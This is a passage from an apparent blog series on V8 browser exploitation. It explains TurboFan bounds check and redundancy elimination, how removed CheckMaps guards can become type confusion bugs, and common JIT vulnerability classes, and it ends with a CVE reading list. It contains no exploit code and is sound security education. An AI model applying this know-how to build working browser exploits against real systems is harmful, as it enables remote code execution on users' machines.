<span class="c1">// as well, because the {length_type} is limited to Unsigned31.</span>
<span class="n">VisitBinop</span><span class="p">(</span><span class="n">node</span><span class="p">,</span> <span class="n">UseInfo</span><span class="o">::</span><span class="n">TruncatingWord32</span><span class="p">(),</span>
<span class="n">MachineRepresentation</span><span class="o">::</span><span class="n">kWord32</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">lower</span><span class="p">())</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">lowering</span><span class="o">-></span><span class="n">poisoning_level_</span> <span class="o">==</span>
<span class="n">PoisoningMitigationLevel</span><span class="o">::</span><span class="n">kDontPoison</span> <span class="o">&&</span>
<span class="p">(</span><span class="n">index_type</span><span class="p">.</span><span class="n">IsNone</span><span class="p">()</span> <span class="o">||</span> <span class="n">length_type</span><span class="p">.</span><span class="n">IsNone</span><span class="p">()</span> <span class="o">||</span>
<span class="p">(</span><span class="n">index_type</span><span class="p">.</span><span class="n">Min</span><span class="p">()</span> <span class="o">>=</span> <span class="mf">0.0</span> <span class="o">&&</span>
<span class="n">index_type</span><span class="p">.</span><span class="n">Max</span><span class="p">()</span> <span class="o"><</span> <span class="n">length_type</span><span class="p">.</span><span class="n">Min</span><span class="p">())))</span> <span class="p">{</span>
<span class="c1">// The bounds check is redundant if we already know that</span>
<span class="c1">// the index is within the bounds of [0.0, length[.</span>
<span class="n">DeferReplacement</span><span class="p">(</span><span class="n">node</span><span class="p">,</span> <span class="n">node</span><span class="o">-></span><span class="n">InputAt</span><span class="p">(</span><span class="mi">0</span><span class="p">));</span> <span class="c1">// <= Removes Nodes</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">NodeProperties</span><span class="o">::</span><span class="n">ChangeOp</span><span class="p">(</span>
<span class="n">node</span><span class="p">,</span> <span class="n">simplified</span><span class="p">()</span><span class="o">-></span><span class="n">CheckedUint32Bounds</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">feedback</span><span class="p">()));</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">...</span>
<span class="p">}</span>
</code></pre></div></div>
<p>As you can see our <code class="language-plaintext highlighter-rouge">CheckBound</code> range would fall into the <code class="language-plaintext highlighter-rouge">if</code> statement, where <code class="language-plaintext highlighter-rouge">Range(1,2).Min() >= 0</code> and <code class="language-plaintext highlighter-rouge">Range(1,2).Max() < 3</code>. In that case our node #46 from the above graph would be made redundant and removed.</p>
<p>Now, if you look at the updated code after the commit, you will see a slight change. The call to <code class="language-plaintext highlighter-rouge">DeferReplacement</code> has been removed and instead we replace the node with a <code class="language-plaintext highlighter-rouge">CheckedUint32Bounds</code> node. If the check fails, TurboFan calls <code class="language-plaintext highlighter-rouge">kAbortOnOutOfBounds</code> which aborts the bound check and crashes instead of deoptimizing.</p>
<p>The new code can be seen below:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kt">void</span> <span class="nf">VisitCheckBounds</span><span class="p">(</span><span class="n">Node</span><span class="o">*</span> <span class="n">node</span><span class="p">,</span> <span class="n">SimplifiedLowering</span><span class="o">*</span> <span class="n">lowering</span><span class="p">)</span> <span class="p">{</span>
<span class="n">CheckBoundsParameters</span> <span class="k">const</span><span class="o">&</span> <span class="n">p</span> <span class="o">=</span> <span class="n">CheckBoundsParametersOf</span><span class="p">(</span><span class="n">node</span><span class="o">-></span><span class="n">op</span><span class="p">());</span>
<span class="n">FeedbackSource</span> <span class="k">const</span><span class="o">&</span> <span class="n">feedback</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">check_parameters</span><span class="p">().</span><span class="n">feedback</span><span class="p">();</span>
<span class="n">Type</span> <span class="k">const</span> <span class="n">index_type</span> <span class="o">=</span> <span class="n">TypeOf</span><span class="p">(</span><span class="n">node</span><span class="o">-></span><span class="n">InputAt</span><span class="p">(</span><span class="mi">0</span><span class="p">));</span>
<span class="n">Type</span> <span class="k">const</span> <span class="n">length_type</span> <span class="o">=</span> <span class="n">TypeOf</span><span class="p">(</span><span class="n">node</span><span class="o">-></span><span class="n">InputAt</span><span class="p">(</span><span class="mi">1</span><span class="p">));</span>
<span class="c1">// Conversions, if requested and needed, will be handled by the</span>
<span class="c1">// representation changer, not by the lower-level Checked*Bounds operators.</span>
<span class="n">CheckBoundsFlags</span> <span class="n">new_flags</span> <span class="o">=</span>
<span class="n">p</span><span class="p">.</span><span class="n">flags</span><span class="p">().</span><span class="n">without</span><span class="p">(</span><span class="n">CheckBoundsFlag</span><span class="o">::</span><span class="n">kConvertStringAndMinusZero</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">length_type</span><span class="p">.</span><span class="n">Is</span><span class="p">(</span><span class="n">Type</span><span class="o">::</span><span class="n">Unsigned31</span><span class="p">()))</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">index_type</span><span class="p">.</span><span class="n">Is</span><span class="p">(</span><span class="n">Type</span><span class="o">::</span><span class="n">Integral32</span><span class="p">())</span> <span class="o">||</span>
<span class="p">(</span><span class="n">index_type</span><span class="p">.</span><span class="n">Is</span><span class="p">(</span><span class="n">Type</span><span class="o">::</span><span class="n">Integral32OrMinusZero</span><span class="p">())</span> <span class="o">&&</span>
<span class="n">p</span><span class="p">.</span><span class="n">flags</span><span class="p">()</span> <span class="o">&</span> <span class="n">CheckBoundsFlag</span><span class="o">::</span><span class="n">kConvertStringAndMinusZero</span><span class="p">))</span> <span class="p">{</span>
<span class="c1">// Map the values in the [-2^31,-1] range to the [2^31,2^32-1] range,</span>
<span class="c1">// which will be considered out-of-bounds because the {length_type} is</span>
<span class="c1">// limited to Unsigned31. This also converts -0 to 0.</span>
<span class="n">VisitBinop</span><span class="o"><</span><span class="n">T</span><span class="o">></span><span class="p">(</span><span class="n">node</span><span class="p">,</span> <span class="n">UseInfo</span><span class="o">::</span><span class="n">TruncatingWord32</span><span class="p">(),</span>
<span class="n">MachineRepresentation</span><span class="o">::</span><span class="n">kWord32</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">lower</span><span class="o"><</span><span class="n">T</span><span class="o">></span><span class="p">())</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">index_type</span><span class="p">.</span><span class="n">IsNone</span><span class="p">()</span> <span class="o">||</span> <span class="n">length_type</span><span class="p">.</span><span class="n">IsNone</span><span class="p">()</span> <span class="o">||</span>
<span class="p">(</span><span class="n">index_type</span><span class="p">.</span><span class="n">Min</span><span class="p">()</span> <span class="o">>=</span> <span class="mf">0.0</span> <span class="o">&&</span>
<span class="n">index_type</span><span class="p">.</span><span class="n">Max</span><span class="p">()</span> <span class="o"><</span> <span class="n">length_type</span><span class="p">.</span><span class="n">Min</span><span class="p">()))</span> <span class="p">{</span>
<span class="c1">// The bounds check is redundant if we already know that</span>
<span class="c1">// the index is within the bounds of [0.0, length[.</span>
<span class="c1">// TODO(neis): Move this into TypedOptimization?</span>
<span class="n">new_flags</span> <span class="o">|=</span> <span class="n">CheckBoundsFlag</span><span class="o">::</span><span class="n">kAbortOnOutOfBounds</span><span class="p">;</span> <span class="c1">// <= Abort & Crash</span>
<span class="p">}</span>
<span class="n">ChangeOp</span><span class="p">(</span><span class="n">node</span><span class="p">,</span>
<span class="n">simplified</span><span class="p">()</span><span class="o">-></span><span class="n">CheckedUint32Bounds</span><span class="p">(</span><span class="n">feedback</span><span class="p">,</span> <span class="n">new_flags</span><span class="p">));</span> <span class="c1">// <= Replace Node</span>
<span class="p">}</span>
<span class="p">...</span>
<span class="p">}</span>
</code></pre></div></div>
<p>If we look at the simplified lowering portion of the graph, we can indeed see that the <code class="language-plaintext highlighter-rouge">CheckBounds</code> node has now been replaced with a <code class="language-plaintext highlighter-rouge">CheckedUint32Bounds</code> node as per the code and all other nodes had their values “lowered” to machine code representation.</p>
<p align="center"><a href="/images/TurboFanEscape2.png"><img src="/images/TurboFanEscape2.png" /></a></p>
<h2 id="redundancy-elimination">Redundancy Elimination</h2>
<p>Another popular class of optimizations that is similar to the BCE, is called redundancy elimination. The code for this is located within <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/redundancy-elimination.cc"><code class="language-plaintext highlighter-rouge">v8/src/compiler/redundancy-elimination.cc</code></a> and is responsible for removing redundant type checks. The <code class="language-plaintext highlighter-rouge">RedundancyElimination</code> class is essentially a graph reducer that tries to either remove or combine redundant checks in the effect chain.</p>
<p>The effect chain is pretty much the order of operations between effect edges for load and store functions. For example, if we try to load a property from an object and try to add to it, such as <code class="language-plaintext highlighter-rouge">obj[x] = obj[x] + 1</code> then our effect chain would be <code class="language-plaintext highlighter-rouge">JSLoadNamed => SpeculativeSafeIntegerAdd => JSStoreNamed</code>. TurboFan has to make sure that these nodes external effects aren’t reordered or otherwise we might have improper guards in place.</p>
<p>A reducer, as detailed in <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/graph-reducer.h"><code class="language-plaintext highlighter-rouge">v8/src/compiler/graph-reducer.h</code></a>, tries to simplify a given node based on its operator and inputs. There are few type of reducers such as <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/constant-folding-reducer.cc">constant folding</a>, where if we add two constants with each other, we’ll fold them over to just one, i.e. <code class="language-plaintext highlighter-rouge">3 + 5</code> will now just be a single constant node of <code class="language-plaintext highlighter-rouge">8</code>, and strength reduction where if a value is added to a node with no effects, we’ll keep a single node, i.e. <code class="language-plaintext highlighter-rouge">x + 0</code> will just have the node <code class="language-plaintext highlighter-rouge">x</code>.</p>
<p>We can trace these types of reductions with the <code class="language-plaintext highlighter-rouge">--trace_turbo_reduction</code> flag. If we were to run our <code class="language-plaintext highlighter-rouge">hot_function</code> again from above with that flag, you should see output as such.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\dev\v8\v8\out\x64.debug>d8 --trace_turbo_reduction hot_function.js
- Replacement of #12: Parameter[-1, debug name: %closure](0) with #41: HeapConstant[0x00c800259781 <JSFunction hot_function (sfi = 000000C800259679)>] by reducer JSContextSpecialization
- Replacement of #34: JSLoadProperty[sloppy, FeedbackSource(#2)](14, 30, 5, 4, 35, 31, 26) with #47: LoadElement[tagged base, 8, Signed31, kRepTaggedSigned|kTypeInt32, FullWriteBarrier](44, 46, 46, 26) by reducer JSNativeContextSpecialization
- Replacement of #42: Checkpoint(33, 31, 26) with #31: Checkpoint(33, 21, 26) by reducer CheckpointElimination
- In-place update of #36: NumberConstant[0] by reducer Typer
... snip ...
- In-place update of #26: Merge(24, 27) by reducer BranchElimination
- In-place update of #43: CheckMaps[None, 0x00c80024dcb9 <Map[16](PACKED_SMI_ELEMENTS)>, FeedbackSource(INVALID)](61, 62, 26) by reducer RedundancyElimination
- Replacement of #43: CheckMaps[None, 0x00c80024dcb9 <Map[16](PACKED_SMI_ELEMENTS)>, FeedbackSource(INVALID)](61, 62, 26) with #62: CheckInternalizedString(2, 18, 8) by reducer LoadElimination
- In-place update of #44: LoadField[JSObjectElements, tagged base, 8, Internal, kRepTaggedPointer|kTypeAny, PointerWriteBarrier, mutable](61, 62, 26) by reducer RedundancyElimination
- Replacement of #44: LoadField[JSObjectElements, tagged base, 8, Internal, kRepTaggedPointer|kTypeAny, PointerWriteBarrier, mutable](61, 62, 26) with #50: HeapConstant[0x00c800259811 <FixedArray[3]>] by reducer LoadElimination
- In-place update of #45: LoadField[JSArrayLength, tagged base, 12, Range(0, 134217725), kRepTaggedSigned|kTypeInt32, NoWriteBarrier, mutable](61, 62, 26) by reducer RedundancyElimination
- Replacement of #45: LoadField[JSArrayLength, tagged base, 12, Range(0, 134217725), kRepTaggedSigned|kTypeInt32, NoWriteBarrier, mutable](61, 62, 26) with #59: NumberConstant[3] by reducer LoadElimination
... snip ...
</code></pre></div></div>
<p>There’s a lot of interesting output from that flag, and as you can see there is a lot of different reducers and eliminations that are executed. We’ll briefly cover a few of them later in this post, but I want you to look careful at a few of these reductions.</p>
<p>For example, this one:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In-place update of #43: CheckMaps[None, 0x00c80024dcb9 <Map[16](PACKED_SMI_ELEMENTS)>, FeedbackSource(INVALID)](61, 62, 26) by reducer RedundancyElimination
</code></pre></div></div>
<p>Yah, you read that correctly - <code class="language-plaintext highlighter-rouge">CheckMaps</code> was updated and later replaced due to the <code class="language-plaintext highlighter-rouge">RedundancyElimination</code> reducer. The reason this happened is because redundancy elimination detected that the <code class="language-plaintext highlighter-rouge">CheckMaps</code> call was a redundant check and removed all but the first one in the same control-flow path.</p>
<p>At this point I know what a few of you might be thinking, “Isn’t that a security vulnerability”? The answer to that is “potentially” and “it depends”.</p>
<p>Before I explain this in a bit more detail, let’s take a look at the following code example:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">hot_function</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="nx">obj</span><span class="p">.</span><span class="nx">a</span> <span class="o">+</span> <span class="nx">obj</span><span class="p">.</span><span class="nx">b</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>As you can see, this code is pretty simple. It takes in one object and returns the sum of the values from property <code class="language-plaintext highlighter-rouge">a</code> and property <code class="language-plaintext highlighter-rouge">b</code>. If we look into the Typer optimization graph, we will see the following.</p>
<p align="center"><a href="/images/TurboFanCheckMaps1.png"><img src="/images/TurboFanCheckMaps1.png" /></a></p>
<p>As you can see, when we enter our function, we first call <code class="language-plaintext highlighter-rouge">CheckMaps</code> to validate that the map of the object we are passing in corresponds to having both the <code class="language-plaintext highlighter-rouge">a</code> and <code class="language-plaintext highlighter-rouge">b</code> properties. If that check passes, we then call <code class="language-plaintext highlighter-rouge">LoadField</code> to load in offset <code class="language-plaintext highlighter-rouge">12</code> from the <code class="language-plaintext highlighter-rouge">Parameter</code> constant, which is the <code class="language-plaintext highlighter-rouge">a</code> property from the <code class="language-plaintext highlighter-rouge">obj</code> object that we passed in.</p>
<p>Right after that, we do another <code class="language-plaintext highlighter-rouge">CheckMaps</code> call to validate the map again, and then load property <code class="language-plaintext highlighter-rouge">b</code>. Once that’s done, we call the <code class="language-plaintext highlighter-rouge">JSAdd</code> function to either add numbers, strings, or both together.</p>
<p>The issue here is the redundant <code class="language-plaintext highlighter-rouge">CheckMaps</code> call, because as we know it, the map of this object that we are passing in can’t change between the two <code class="language-plaintext highlighter-rouge">CheckMap</code> operations. In that case, it will be removed.</p>
<p>We can see this redundancy elimination within the simplified lower phase of the graph.</p>
<p align="center"><a href="/images/TurboFanCheckMaps2.png"><img src="/images/TurboFanCheckMaps2.png" /></a></p>
<p>As you can clearly see, the second <code class="language-plaintext highlighter-rouge">CheckMaps</code> node has now been removed and after the first check we simply load both of the properties one after another - in essence speeding up our code. Also, due to simplified lowering the <code class="language-plaintext highlighter-rouge">JSAdd</code> call has been lowered down to the machine code variant to validate both integer and string expressions as per the ECMAScript standard.</p>
<p>So going back to our question on if this is a security vulnerability or not. As stated, “it depends”. The reason for this is that certain operation can cause side-effects to the observable execution of our context - that’s why we have side effect chains. If TurboFan for some reason forgot to take into account a side-effect and doesn’t write it to the side-effect chain, then it’s possible that the Map of the object can change during execution, such as another user function call modifying the object or adding a property.</p>
<p>Each intermediate representation operation in V8 has various flags associated with it. An example of a few of the flags for JavaScript operators can be seen in <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/js-operator.cc;l=739"><code class="language-plaintext highlighter-rouge">v8/src/compiler/js-operator.cc</code></a> Some of these flags have specific assumptions around them.</p>
<p>For example, <code class="language-plaintext highlighter-rouge">V(ToString, Operator::kNoProperties, 1, 1)</code> assumes that a <code class="language-plaintext highlighter-rouge">String</code> should have no properties. Another one such as <code class="language-plaintext highlighter-rouge">V(LoadMessage, Operator::kNoThrow | Operator::kNoWrite, 0, 1)</code> assumes that the <code class="language-plaintext highlighter-rouge">LoadMessage</code> operation will not have observable side-effects via the <code class="language-plaintext highlighter-rouge">kNoWrite</code> flag. This <code class="language-plaintext highlighter-rouge">kNoWrite</code> flag does not actually write to the effect chain.</p>
<p>As you can see, if we can get the compiler to remove a redundancy check for an operation that seemingly thinks there are no side-effects, then you have a potentially exploitable bug if you can modify an object or property during the execution of the compiled code.</p>
<p>This topic on redundancy elimination and side-effects initially can be expanded on to discuss how bugs steming from these elimination checks can lead to exploitable vulnerabilities. But before we do that, let’s juts quickly brief over some other common optimizations.</p>
<h2 id="other-optimizations">Other Optimizations</h2>
<p>As previously seen from the output of the <code class="language-plaintext highlighter-rouge">--trace_turbo_reduction</code> flag, there are a lot more optimizations that occur in TurboFan then what we talked about. I tried to cover the most important ones that are related to the bug we will be exploiting in Part 3, but I still want to quickly cover some of the other optimizations so at least you have a general gist of what they are.</p>
<p>Some of the other common optimizations you will see in TurboFan are as follows:</p>
<ul>
<li><strong>Control Optimization</strong>: As defined in <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/control-flow-optimizer.cc"><code class="language-plaintext highlighter-rouge">v8/src/compiler/control-flow-optimizer.cc</code></a>, generally this optimization works on optimizing the flow of the graph and turns certain branch chains into switches.</li>
<li><strong>Alias Analysis & Global Value Numbering</strong>: Alias analysis identifies dependencies between <code class="language-plaintext highlighter-rouge">Store</code> and <code class="language-plaintext highlighter-rouge">Load</code> nodes. So, if two load operations are dependent on one, they can’t be executed till the first operation is complete, i.e. <code class="language-plaintext highlighter-rouge">x = 2; y = x + 2; z = x + 2</code>. GVN or Global Value Numbering follows suite, and removes redundant <code class="language-plaintext highlighter-rouge">Store</code> and <code class="language-plaintext highlighter-rouge">Load</code> operations, i.e., <code class="language-plaintext highlighter-rouge">z = x + 2</code> can be removed and <code class="language-plaintext highlighter-rouge">z</code> can be set to <code class="language-plaintext highlighter-rouge">y</code> since the operation is redundant.</li>
<li><strong>Dead Code Elimination (DCE)</strong>: Dead Code Elimination is exactly what it sounds like. It simply iterates through all the nodes and removes the code that won’t be executed. Such as if <code class="language-plaintext highlighter-rouge">x</code> and <code class="language-plaintext highlighter-rouge">y</code> for a True/False statement are always true, the false path will be considered “dead” and removed.</li>
</ul>
<p>If you would like to learn more about the different optimizations and learn more about the Sea of Nodes I suggest reading “<a href="https://docs.google.com/presentation/d/1sOEF4MlF7LeO7uq-uThJSulJlTh--wgLeaVibsbb3tc/htmlpresent">TurboFan JIT Design</a>”, and “<a href="https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/">Introduction to TurboFan</a>”.</p>
<h1 id="common-jit-compiler-vulnerabilities">Common JIT Compiler Vulnerabilities</h1>
<p>With an understanding of the full V8 pipeline, and the compiler optimizations, we can now start looking at and understanding what type of vulnerability classes are present in browsers. As we know it, the JavaScript engine and all its components such as the compiler are all implemented in C++.</p>
<p>In that case the pipeline is first and foremost vulnerable to common memory and type safety violations, such as integer overflows and underflows, off-by-one errors, out-of-bound reads and writes, buffer overflows, heap overflows, and of course use-after-free bugs to name a few.</p>
<p>In addition to the usual C++ bugs, we also can have logic bugs and machine-code generation bugs that can occur during the optimization phase due to the nature of speculative assumptions. Such logic bugs can stem from the incorrect assumption of the potential side-effects an operation can have on an object or property or from improper optimization passes which remove critical type guards.</p>
<p>These types of issues are generally known as “type-confusion” vulnerabilities where the compiler doesn’t verify the type or shape of the object that is passed to it, resulting in the compiler blindly using the object. This was the case in CVE-2018-17463, which we will attempt to analyze and exploit in Part 3 of this blog.</p>
<p>At this point of the blog, I considered diving into analyzing a few bugs and showing you examples of vulnerable code. In the end, I decided not to do that. Why? Well, at this point of the series you should have a good enough understanding of browser internals and V8 to be able to look through Chromium code and understand certain bug reports on your own.</p>
<p>So, here’s some homework for you, the reader. I will provide you with a list of videos and bug reports relating around browser exploitation. Take the time to read through some of these reports, and understand how these bugs came to be, and what allowed them to be exploited.</p>
<p>Do note that some of these bugs are in other JavaScript engines, but regardless, they provide you a representation of the possible vulnerabilities that can stem in all JavaScript Engines.</p>
<p>I recommend reading the following:</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=xp1YDOtWohw">35C3 - From Zero to Zero Day: ChakraCore Type Confusion due to Invalid Side-Effects</a></li>
<li><a href="https://www.youtube.com/watch?v=sheeWKC6CuM">Browser Security Beyond Sandboxing - CVE-2017-5121</a>
<ul>
<li><a href="https://bugs.chromium.org/p/chromium/issues/detail?id=765433">Issue 765433: V8 JIT Escape Analysis Bug</a></li>
</ul>
</li>
<li><a href="https://ssd-disclosure.com/ssd-advisory-chrome-turbofan-remote-code-execution/">Chrome TurboFan Remote Code Execution via Type Confusion</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1145255">CVE-2015-0817 - Incorrect asm.js Bounds Checking Elimination</a></li>
<li><a href="https://bugs.chromium.org/p/chromium/issues/detail?id=606115">CVE-2016-1669 - Use After Free in RegExp</a></li>
<li><a href="https://bugs.chromium.org/p/chromium/issues/detail?id=602970">CVE-2016-1677 - Type Confusion Leads to Info Leak in decodeURI</a></li>
<li><a href="https://bugs.chromium.org/p/chromium/issues/detail?id=620553">CVE-2016-5129 - V8 Out of Bound Read in GC with Array Object</a></li>
<li><a href="https://www.zerodayinitiative.com/blog/2017/8/24/deconstructing-a-winning-webkit-pwn2own-entry">CVE-2017-2547 - WebKit: Invalid Bounds Check leads to OOB Access</a></li>
<li><a href="https://bugs.chromium.org/p/chromium/issues/detail?id=691323">CVE-2017-5040 - Information Leak in Array indexOf</a></li>
<li><a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1380">CVE-2018-0758 - Chakra: JIT: Missing Integer Overflow Check</a></li>
<li><a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1390">CVE-2018-0769 - Chakra JIT: Incorrect Bounds Calculation</a></li>
<li><a href="http://blog.ret2.io/2018/06/05/pwn2own-2018-exploit-development/">CVE-2018-4192 - Race Condition in Garbage Collection for array.reverse()</a></li>
<li><a href="https://bugs.chromium.org/p/chromium/issues/detail?id=808192">CVE-2018-6065 - V8 Integer Overflow in Object Allocation Size</a></li>
<li><a href="https://bugs.chromium.org/p/chromium/issues/detail?id=805729">CVE-2018-6106 - V8 AwaitedPromise Incorrect State</a></li>
<li><a href="https://bugs.chromium.org/p/chromium/issues/detail?id=831943">CVE-2018-6136 - Crash with JavaScript RegExp Subclassing</a></li>
<li><a href="https://bugs.chromium.org/p/chromium/issues/detail?id=837939">CVE-2018-6142 - Information Leak in Map Constructor</a></li>
<li><a href="https://github.com/vngkv123/aSiagaming/blob/master/Chrome-v8-906043/Chrome%20V8%20-%20-CVE-2019-5782%20Tianfu%20Cup%20Qihoo%20360%20S0rrymybad-%20-ENG-.pdf">CVE-2019-5782 - Improper Side-Effect in Lowering Leads to OOB via Check Bounds Elimination</a></li>
<li><a href="https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-exploits.html">CVE-2019-13764 - Invalid NaN Type Check via Typer Optimizer</a></li>
<li><a href="https://www.zerodayinitiative.com/blog/2021/12/8/understanding-the-root-cause-of-cve-2021-21220-a-chrome-bug-from-pwn2own-2021">CVE-2021-21220 - Improper JIT OpCode Leads to RCE</a></li>
<li><a href="https://www.jaybosamiya.com/blog/2019/01/02/krautflare/">Exploiting Chrome V8: Krautflare (35C3 CTF 2018)</a>
<ul>
<li><a href="https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/">Exploiting the Math.expm1 Typing Bug in V8</a></li>
</ul>
</li>
<li><a href="https://gts3.org/2019/turbofan-BCE-exploit.html">Exploiting TurboFan Through Bound Check Elimination</a></li>
<li><a href="https://bugs.chromium.org/p/chromium/issues/detail?id=762874">Issue: 762847 - Off By One in Range Optimization of String.indexOf</a></li>
<li><a href="https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/">Patch Gapping Chrome - Properties Backing Store Type Confusion</a></li>
<li><a href="https://github.com/tunz/js-vuln-db">JavaScript Vulnerability Database</a></li>
<li><a href="https://www.zerodayinitiative.com/advisories/published/">ZDI Advisories Page</a></li>
</ul>
<h1 id="closing">Closing</h1>
<p>Well that about does it for this post! Thanks for sticking around to the end and reading though all of this, as there was a lot of complex material that was covered. I can’t even count the number of times I had to go back and edit this initial draft of the blog post while learning all of this myself.</p>
<p>Hopefully a lot of the material that was presented here was easily understandable. And if it wasn’t, then again just as with my first post - take the time to read through this and utilize the links within the blog and references section to help you understand some of the concepts that are unclear.</p>
<p>Honestly, what helped me learn the most was reading through and debugging the V8 code. This gives you a much better idea of what happens under the hood and what is called where and when. This also helps you get more familiarized with the code if you’re trying to review it for bugs.</p>
<p>Anyway, with all the information that we covered here, the optimizations portion will be the most important for us in the next post. In part three of this blog post series, we’ll take everything we know to analyze and understand CVE-2018-17463. Afterwards, we’ll jump into understanding the basics around browser exploitation primitives, and then we’ll go through and actually exploit the bug to get remote code execution on the system.</p>
<p>With that being said, thanks for reading and I’ll see you in the next post!</p>
<h1 id="kudos">Kudos</h1>
<p>I would like to sincerely thank <a href="https://twitter.com/maxpl0it">maxpl0it</a> for doing a thorough technical review of this blog post, for providing critical feedback and adding in a few important details before it’s release.</p>
<p>I also want to thank <a href="https://twitter.com/33y0re">Connor McGarr</a> and <a href="https://twitter.com/v3ded">V3ded</a> for taking the time to proofread this post for accuracy and readability. Thank you for your time guys!</p>
<p>Finally, I want to give a shout out to <a href="https://twitter.com/__x86">Jeremy Fetiveau</a> for his amazing work in the Chrome exploitation space, and for writing such detailed blog posts for <a href="https://doar-e.github.io/author/jeremy-__x86-fetiveau.html">Diary of a Reverse Engineer</a>. These posts were immensely helpful in understanding a lot of the nuances in Chrome and V8.</p>
<h1 id="references">References</h1>
<ul>
<li><a href="https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-V8/">An Introduction to Speculative Optimization in V8</a></li>
<li><a href="https://doar-e.github.io/blog/2019/05/09/circumventing-chromes-hardening-of-typer-bugs/">Circumventing Chrome’s Hardening of Typer Bugs</a></li>
<li><a href="https://www.cs.cmu.edu/~aplatzer/course/Compilers/11-ssa.pdf">Compiler Design: Static Single Assignment</a></li>
<li><a href="https://docs.google.com/presentation/d/1Z6oCocRASCfTqGq1GCo1jbULDGS-w-nzxkbVF7Up0u0/edit#slide=id.p">Deoptimization in V8</a></li>
<li><a href="https://v8.dev/blog/turbofan-jit">Digging into the TurboFan JIT</a></li>
<li><a href="https://gts3.org/2019/turbofan-BCE-exploit.html">Exploiting TurboFan Through Bounds Check Elimination</a></li>
<li><a href="https://v8.dev/blog/ignition-interpreter">Firing up the Ignition interpreter</a></li>
<li><a href="https://www.youtube.com/watch?v=p-iiEDtpy6I">Franziska Hinkelmann: JavaScript engines - how do they even?</a></li>
<li><a href="https://www.chromium.org/developers/how-tos/getting-around-the-chrome-source-code/">Getting Around the Chromium Source Code Directory Structure</a></li>
<li><a href="https://darksi.de/4.how-to-start-jitting/">How To Start JIT-ting</a></li>
<li><a href="https://github.com/thlorenz/v8-perf/blob/master/compiler.md">Ignition and TurboFan Compiler Pipeline</a></li>
<li><a href="https://docs.google.com/document/d/11T2CRex9hXxoJwbYqVQ32yIPMh0uouUZLdyrtmMoL44/edit#heading=h.6jz9dj3bnr8t">Ignition Design Docs</a></li>
<li><a href="https://docs.google.com/document/d/1wW_VkkIwhAAgAxLYM0wvoTEkq8XykibDIikGpWH7l1I/edit#heading=h.6jz9dj3bnr8t">Ignition: Register Equivalence Optimization</a></li>
<li><a href="https://sensepost.com/blog/2020/intro-to-chromes-v8-from-an-exploit-development-angle/">Intro to Chrome’s V8 from an Exploit Development Angle</a></li>
<li><a href="https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/">Introduction to TurboFan</a></li>
<li><a href="https://benediktmeurer.de/2018/08/16/javascript-engine-fundamentals-optimizing-prototypes/">JavaScript engine fundamentals: optimizing prototypes</a></li>
<li><a href="https://mathiasbynens.be/notes/shapes-ics">JavaScript Engine Fundamentals: Shapes and Inline Caches</a></li>
<li><a href="https://doar-e.github.io/blog/2020/11/17/modern-attacks-on-the-chrome-browser-optimizations-and-deoptimizations/">Modern attacks on the Chrome browser : optimizations and deoptimizations</a></li>
<li><a href="https://darksi.de/d.sea-of-nodes/">Sea of Nodes</a></li>
<li><a href="https://www.youtube.com/watch?v=mjHtadilm00">Sigurd Scheider: Inside V8: The choreography of Ignition and TurboFan</a></li>
<li><a href="https://docs.google.com/document/d/13c-xXmFOMcpUQNqo66XWQt3u46TsBjXrHrh4c045l-A">Sparkplug Design Documentation</a></li>
<li><a href="https://github.blog/2022-06-29-the-chromium-super-inline-cache-type-confusion/">The Chromium Super (Inline Cache) Type Confusion</a></li>
<li><a href="https://docs.google.com/presentation/d/1Z9iIHojKDrXvZ27gRX51UxHD-bKf1QcPzSijntpMJBM/edit#slide=id.p">TurboFan IR</a></li>
<li><a href="https://docs.google.com/presentation/d/1sOEF4MlF7LeO7uq-uThJSulJlTh--wgLeaVibsbb3tc/edit#slide=id.p">TurboFan JIT Design</a></li>
<li><a href="https://medium.com/dailyjs/understanding-v8s-bytecode-317d46c94775">Understanding V8’s Bytecode</a></li>
<li><a href="https://www.youtube.com/watch?v=u7zRSm8jzvA">V8 and How It Listens To You - Michael Stanton</a></li>
<li><a href="https://v8.dev/blog/v8-release-68">V8 release v6.8</a></li>
<li><a href="https://docs.google.com/presentation/d/1chhN90uB8yPaIhx_h2M3lPyxPgdPmkADqSNAoXYQiVE/edit#slide=id.g1357e6d1a4_0_58">V8: Hooking up the Ignition to the TurboFan</a></li>
<li><a href="https://mrale.ph/blog/2015/01/11/whats-up-with-monomorphism.html">What’s up with Monomorphism?</a></li>
